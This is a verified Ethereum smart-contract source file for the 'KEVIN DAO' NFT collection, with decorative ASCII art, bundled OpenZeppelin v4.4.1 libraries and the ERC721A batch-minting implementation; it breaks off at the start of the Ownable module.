/** *Submitted for verification at Etherscan.io on 2022-03-02 */ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; // KEVIN DAO /* ░░µ░░░░░░∩∩_ __░░░░░░░░░░▒░░_________________ _░▒░░░░░░░║▓╣▓▓▓▓▓▓▓▓▓▓@@@@╣▓▓▓▓▓▓▓@_ ,_∩░░░░░░░░j▓▓╣╣▓╣╣╣╣╣╣╬╬╣╣╬╬╬╣╬▒╣╣╣▒╣╣╣@@@@ _▒░░░░░░░░▒▓@▒╬╣╬╣╣╫╫╫╫▓▓╫╫╣╫╫╫╫▓╫╫╣╫╫╫╫╫╫╫╬▒▒╦µ ▒▒░░░░░░@▄╬▓▓╫╫▓▓╫╣╣╣╣╣╣▓╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╣╣╣╣╣╣╫▒╔µ__ ,░░░░░░░░░░╣▓▓╫╣▓╫╣▓▓╣╣╣╣╣╣╫╫╫▓▓╫╫╫╫╫╫╫╫╫╫▓╣╣▓▓╣╣╣╣╣╣╣╣µ ,__░░▒░░░░░░░░▓╫╫▓╫▓▓▓╣╣╫╫╫▓╣╣╣╣╣╣╣╣╫╫▓╣╣╣╣╣╫▓╣╣╣╣╣╣╫▓╣╣╣╣╣@_ ,▒░░░░░░░░░░░░░▒▓╣▓▓▓╣╣▓╣╣╣╣╣╫╫╫╫╣╬╣╣╣╣╣╫╫╫╫╣╣▓╬╣╣╣╣╣╣▓╫╫╫╫╫╫▓H ░░░░░░░░░░░░░░░▒▓╣╣╫▓╫╣▓▄▒╫╫╫╫╫╣╣╣▓╫╫╣╫╣╫╫╫╣╣╣╫▓╫╫╫╫▓▀▀▀▀▀▀▀▀▓@∩ ╔ ²░░░░░░░░░░░░░@╣▓▓╣╫▓▀▀██▀▀▀▀▀▀▀╣╣╣╣╣▓╫╫╫╫╫╫╫╫╫╫╫╫╣╣H __╠╫▒ _╓@╫ ²▒░░░░░░░░░░░▒▓╣▓▓▓▀H ██▓╫╫╫╫╫╫╫╫╫╫╫▒∩ ╫███░╢µ _╗@▓╫╫╫ `▒░░░░░░░░░║▓▓▓▌ ²██▓╫╫╫╫╫╫Ö ╫███▓ .╣╫╫╫╫╫╫ ▒_ ▐▒░░░░░░╢▓▓▓▓▓▓▒░ ▄▄▄µ ╔▓▒▒╣╣╣╣╣╣@ ▀▀▀▀▀ ║▓╫╫╫╫╫ ▒▒µµ ▓▒░░░░▓▓▓▓▓▓▓▓▓▒ ,▄▄███▌ ║▓╫╫╫╫╫╫╫╫▓∩ ,@▓▓╫╫╫╫╣ """` ;▓▓▒░░░░▓▓▓▓▓▓▓▓▓Ñ ▐█████H ║▓╣╣╫╫╫╫╫╫╣µ,_ [email protected]▒▓▓▓▓▓╫╫╫╫ ;▓▓▓░░░░▓▓▓▓▓▓▓▓▓Ñ ╫███╫╫╫╣╣╣╢██N _ ,║╫╫▓▓▓▓▓▓▓▓▓ ;▓▓▓▓▄▄@▓▓▓▓▓▓▓▓▓Ñ_ @█▓▓╫╣╣╣╣╣╣@@@╣╣╣▓▓▓▓█▒ _╣╣╣╣▓▓▓▓▓▓╣╣╣ ╫▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓@@@▄╦╦╗@@@╣▒▒╢╫╫╣╣╣╣╣╣╣╣╣╣╣╫╫╫╬▒╣▓@@@▓▓╫╫╣╫H µµµµ╓╫▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╫╫▓▓╫╫╫╫╢╣╣╣╣╣╣╣▓╫╫╣╣╣╣╣╣▒▒╣╣╣╣╣╣╣╣╣╫╫╫╫╫╫╫▒_ ,,__ ▄▄▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╣╣▓╫╫▓▓╫╫╫╣▓▓╫╫╫╫╫╣╣╣╣▓▓╫╫╫╫╫╫╫╣╣╫╫╫╫╫╫╫╫╫╫╫╫╫╫▓▓▓▓▓▓▓▓ ▓▓█████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╫╫▓╫╫╫╫╫╫╫▓╣╣╣╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╣╫▓▓▓▓▓▓▓▓ ▓▓▓████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╫╫╫╫▓▓╫╫╫╫╫╫╫▓╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫╫▓▓▓▓▓▓▓▓ ▓█▓▓████████▓██▓▓▓╫╣▓▓▓▓▓▓▓▓███████████▌▒▒╫╫╫▓████▓╫╣▓█▓╣╫█▓╫╣██▓╫╫╫╫╫╫▓███▓▓▓▓▓ ▓▓▓▓▓▓██████▓████▓▓▓▓▓▓▓████████████▀▀▀▀▒▒╣▒╣▓████▀╫╣███▓╣▀▒▒▒▀▀▒║▓╫▒▒▓█████▓▓▓▓ ▓█▓▓▓███▓▓██▓▓██████████▀██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▄▓▓▓▒▒▒▄▄▓▓▓▓▓▓▒▒▒▒▒░░▒▓▓█████████▓▓▓ █▓▓█▓▓██▓▓▓█▓▓▓███████████████▓▓▓▓▓▓▒▒▒╣▓▓▓██▓▓▓▓▓▓█▓▓▓▓▓▓▒▒▄▄▄▄▄▓███████▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓█▓▓▓██▓▓▓▓▓████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╫╣▓▓▓▓▓▓▓▓▓▓▓▓█████████▓▓▓▓▓▓▓ ▓▓█▓▓███▓▓▓██▓▓█▓▓▓▓▓▓▓▓▓█████████████████████████████████████████████▓▓▓▓▓▓▓▓▓▓ █▓▓▒▒╫▓▒▒▓▀▀▓▀▀█▓▓▓▓▓▓▓▓▓▓████████████████████████████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ */ // WEN GAME? /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an 